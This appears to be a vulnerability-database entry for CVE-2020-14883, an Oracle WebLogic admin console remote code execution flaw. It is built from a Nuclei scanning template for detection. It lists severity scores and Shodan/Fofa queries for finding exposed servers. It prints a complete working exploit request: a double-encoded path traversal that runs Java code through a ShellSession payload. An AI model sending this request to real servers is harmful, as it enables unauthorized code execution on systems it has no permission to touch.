🔙 목록으로 돌아가기

CVE-2020-14883: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution

TitleOracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
Authorpdteam,vicrack
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
CVSS Score7.2
EPSS Score0.94439
CVE IDCVE-2020-14883
Shodan Querytitle:"Oracle PeopleSoft Sign-in"product:"oracle weblogic"http.title:"oracle peoplesoft sign-in"
Fofa Querytitle="oracle peoplesoft sign-in"
Tags cve cve2020 oracle rce weblogic kev packetstorm vkev vuln

🔍 Vulnerability Description

The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.

🌐 HTTP Request

POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Content-Length: 920
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String result = new StringBuilder("38FR1PE1eHoIdTlbp4F4P4oCeA5").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14883.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-14883.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A